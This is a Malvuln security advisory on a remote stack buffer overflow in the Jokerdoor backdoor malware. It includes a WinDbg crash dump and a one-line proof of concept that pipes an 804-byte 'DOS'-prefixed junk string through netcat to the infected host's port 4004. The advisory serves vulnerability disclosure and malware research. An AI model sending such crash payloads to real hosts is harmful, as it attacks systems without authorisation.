Discovery / credits: Malvuln - malvuln.com (c) 2021 Original source: https://malvuln.com/advisory/0fca0250fa3fe8ee7e1cf0cc45a6b2d8.txt Contact: malvuln13@gmail.com Media: twitter.com/malvuln Threat: Backdoor.Win32.Jokerdoor Vulnerability: Remote Stack Buffer Overflow Description: The malware listens on TCP port 4004 and drops an randomly named executables E.g. acrorqwjlle.exe etc. Third party attackers who can reach an infected system can send a junk payload and trigger a classic stack buffer overflow overwriting the ECX, EIP registers and structured exception handler (SEH). When connecting you will get a "connected" server response, then we supply our payload as a parameter prefixed by "DOS". Type: PE32 MD5: 0fca0250fa3fe8ee7e1cf0cc45a6b2d8 Vuln ID: MVID-2021-0434 ASLR: False DEP: False Safe SEH: True Disclosure: 12/31/2021 Memory Dump: eax=00000000 ebx=00000000 ecx=41414141 edx=773e9d70 esi=00000000 edi=00000000 eip=41414141 esp=000a1600 ebp=000a1620 iopl=0 nv up ei pl zr na pe nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010246 41414141 ?? ??? 0:000> .ecxr eax=00000000 ebx=00000000 ecx=41414141 edx=773e9d70 esi=00000000 edi=00000000 eip=41414141 esp=000a1600 ebp=000a1620 iopl=0 nv up ei pl zr na pe nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010246 41414141 ?? ??? 0:000> !analzye -v No export analzye found 0:000> !analyze -v ******************************************************************************* * * * Exception Analysis * * * ******************************************************************************* *** WARNING: Unable to verify checksum for acrorqwjlle.exe *** ERROR: Module load completed but symbols could not be loaded for acrorqwjlle.exe Failed calling InternetOpenUrl, GLE=12029 FAULTING_IP: +26 41414141 ?? ??? EXCEPTION_RECORD: 0019ee34 -- (.exr 0x19ee34) ExceptionAddress: 41414141 ExceptionCode: c0000005 (Access violation) ExceptionFlags: 00000000 NumberParameters: 2 Parameter[0]: 00000000 Parameter[1]: 41414141 Attempt to read from address 41414141 PROCESS_NAME: acrorqwjlle.exe ERROR_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s. EXCEPTION_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s. EXCEPTION_PARAMETER1: 00000008 EXCEPTION_PARAMETER2: 41414141 WRITE_ADDRESS: 41414141 FOLLOWUP_IP: +26 41414141 ?? ??? FAILED_INSTRUCTION_ADDRESS: +26 41414141 ?? ??? MOD_LIST: <ANALYSIS/> NTGLOBALFLAG: 0 APPLICATION_VERIFIER_FLAGS: 0 IP_ON_HEAP: 41414141 The fault address in not in any loaded module, please check your build's rebase log at <releasedir>\bin\build_logs\timebuild\ntrebase.log for module which may contain the address if it were loaded. IP_IN_FREE_BLOCK: 41414141 CONTEXT: 0019ee84 -- (.cxr 0x19ee84) eax=00010000 ebx=04393c0c ecx=7673eb0d edx=00000000 esi=003603d8 edi=025d0d17 eip=41414141 esp=0019f2e4 ebp=41414141 iopl=0 nv up ei pl nz na po nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010202 41414141 ?? ??? Resetting default scope ADDITIONAL_DEBUG_TEXT: Followup set based on attribute [Is_ChosenCrashFollowupThread] from Frame:[0] on thread:[PSEUDO_THREAD] LAST_CONTROL_TRANSFER: from 41414141 to 41414141 FAULTING_THREAD: ffffffff BUGCHECK_STR: APPLICATION_FAULT_STACK_OVERFLOW_SOFTWARE_NX_FAULT_INVALID_EXPLOITABLE_FILL_PATTERN_41414141_STACKIMMUNE PRIMARY_PROBLEM_CLASS: STACK_OVERFLOW_STACKIMMUNE DEFAULT_BUCKET_ID: STACK_OVERFLOW_STACKIMMUNE FRAME_ONE_INVALID: 1 STACK_TEXT: 00000000 00000000 acrorqwjlle.exe+0x0 STACK_COMMAND: .cxr 000000000019EE84 ; kb ; ** Pseudo Context ** ; kb SYMBOL_NAME: acrorqwjlle.exe FOLLOWUP_NAME: MachineOwner MODULE_NAME: acrorqwjlle IMAGE_NAME: acrorqwjlle.exe DEBUG_FLR_IMAGE_TIMESTAMP: 2a425e19 FAILURE_BUCKET_ID: STACK_OVERFLOW_STACKIMMUNE_c0000005_acrorqwjlle.exe!Unknown BUCKET_ID: APPLICATION_FAULT_STACK_OVERFLOW_SOFTWARE_NX_FAULT_INVALID_EXPLOITABLE_FILL_PATTERN_41414141_STACKIMMUNE_BAD_IP_acrorqwjlle.exe 0:000> !exchain 0019ed44: ntdll!ExecuteHandler2+44 (773e9d70) 0019f2e4: 41414141 Invalid exception stack at 41414141 Exploit/PoC: python -c "print('DOS'+'A'*804)" | nc64.exe MALWARE_HOST 4004 Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. 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